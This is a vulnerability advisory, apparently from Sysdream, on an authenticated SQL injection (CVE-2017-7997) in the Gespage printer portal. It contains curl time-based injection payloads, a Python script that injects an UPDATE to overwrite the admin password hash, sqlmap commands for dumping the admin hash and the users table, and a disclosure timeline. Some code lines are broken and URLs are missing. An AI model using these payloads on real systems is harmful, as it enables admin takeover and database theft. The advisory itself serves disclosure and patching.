Gespage is a web solution providing a printer portal. Official Website:

The web application does not properly filter several parameters sent by users, allowing authenticated SQL code injection (Stacked Queries - comment).

These vulnerabilities could allow attackers to retrieve / update data from the database through the application.

CVE ID: CVE-2017-7997

Access Vector: remote

Security Risk: high

Vulnerability: CWE-89

CVSS Base Score: 8.6

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Proof of Concept (dumping database data)

The parameters of these following pages are vulnerable:

We can then detect the SQL Injection by requesting the server with the curl tool, including a simple payload executing a sleep of different seconds:

  • Normal request:
curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1" --insecure -w "\nResponse Time:%{time_total}\n"

Curl output: Response Time:0,122
  • Sleep Injection of 3 seconds into the request:
curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1');SELECT PG_SLEEP(3)--" --insecure -w "\nResponse Time:%{time_total}\n"

Curl output: Response Time: 3,126
  • Sleep Injection of 6 seconds into the request:
curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1');SELECT PG_SLEEP(6)--" --insecure -w "\nResponse Time:%{time_total}\n"

Curl output: Response Time: 6,126

We created a dedicated python script to change the web admin password in order to compromise the web application:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

$ python -c e06d40bc855c98751a5a2ff49daa -i -p 12345
[+] Generating the new admin password hash
    => Password hash (sha1) to inject in the Database: 8cb2237d0679ca88db6464eac60da96345513964
[+] Verifying connection to the web interface:
    => Connection OK
[+] Exploiting the SQL injection
    => Vulnerable page:
    => Posting Data   : show_prn=A-PRINTER-ON-THE-WEB-LIST');UPDATE param_gespage SET param_value='8cb2237d0679ca88db6464eac60da96345513964' WHERE param_id='admin_pwd'--
[+] Go to the web admin interface, and log on with admin:12345

from argparse import ArgumentParser
from hashlib import sha1
from requests import Session
from urllib3 import disable_warnings

def exploit(args):
    if args.ip_url[-1] != "/":
        args.ip_url += "/"
    print "[+] Generating the new admin password hash"
    new_admin_pwd_hash = sha1(args.password).hexdigest()
    print "    => Password hash (sha1) to inject in the Database: %s" % (new_admin_pwd_hash)
    print "[+] Verifying connection to the web interface: %s" % (args.ip_url)
    web_session = web_connection(args.ip_url, args.cookie)
    print "[+] Exploiting the SQL injection"
    sql_injection(args.ip_url, web_session, args.cookie, new_admin_pwd_hash)
    print "[+] Go to the web admin interface, %s and log on with admin:%s" % (args.ip_url.replace('gespage', 'admin'), args.password)

def sql_injection(url, session, user_cookie, new_admin_pwd_hash):
    vulnerable_url = url + "webapp/users/prnow.jsp"
    sql_update_query = "UPDATE param_gespage SET param_value='%s' WHERE param_id='admin_pwd'" % (new_admin_pwd_hash)
    sql_injection_payload = "A-PRINTER-ON-THE-WEB-LIST');%s--" % (sql_update_query)
    print "    => Vulnerable page: %s" % (vulnerable_url)
    print "    => Posting Data   : show_prn=%s" %(sql_injection_payload)
    response =, cookies={"JSESSIONID":user_cookie}, verify=False, allow_redirects=True, data={"show_prn":sql_injection_payload})
    if not response.status_code == 200:
        print "   There is an error while posting the payload, try with"

def web_connection(url, user_cookie):
    session = Session()
    response = session.get(url, verify=False, allow_redirects=False, cookies={"JSESSIONID":user_cookie})
    if (response.status_code == 302 and "webapp/user_main.xhtml" in response.text):
        print "    => Connection OK"
        return session
        print "    /!\ Error while connecting the web interface with the specified JSESSIONID cookie"
        print "        => Make sure given application URL and JSESSIONID cookie are correct "

if __name__ == '__main__':
    parser = ArgumentParser(description='Exploit Gespage SQL injection by updating the admin password. You must create then specify an existing user in order to exploit the vulnerability')
    parser.add_argument('-i','--ip_url', help='The web interface URL, ex: http://IP_ADDRESS:7181/gespage/',required=True)
    parser.add_argument('-c','--cookie', help='JSESSIONID cookie of an authenticated user',required=True)
    parser.add_argument('-p','--password', help='New admin password',required=True)

Using sqlmap, it is also possible to dump the content of the database, write other data, etc.

Dumping the admin password hash (if changed from the initial 123456 password):

python -u "https://URL:7181/gespage/users/prnow.jsp" --cookie="JSESSIONID=YOUR_COOKIE_HERE" --data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3 --level 5 --technique TS -D public -T param_gespage -C param_value --time-sec 2 --dump --flush-session

Dumping the users table: -u "https://URL:7181/gespage/users/prnow.jsp" --cookie="JSESSIONID=YOU_COOKIE_HERE" --data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3 --level 5 --technique TS -D public -T users --time-sec 2 --dump

Timeline (dd/mm/yyyy)

  • 06/03/2017 : Initial discovery
  • 13/03/2017 : First contact attempt (Web form)
  • 21/04/2017 : Second contact attempt (public e-mail address)
  • 23/06/2017 : Phone call and successful e-mail contact
  • 23/06/2017 : Technical details sent to the editor
  • 20/07/2017 : Follow-up e-mail from Sysdream
  • 27/07/2017 : Reply from Gespage: fix planned for major release 7.5.0 in late September
  • 17/09/2017 : Informing the editor that we would publish in October
  • 3/10/2017 : Gespage informs us that a patch was included in version 7.4.9 as well
  • 02/01/2018 : Release of the advisory


Upgrade to Gespage 7.4.9 or above.

Affected versions

  • Version <= 7.3.2


  • Mickael KARATEKIN <m.karatekin -at- sysdream -dot- com>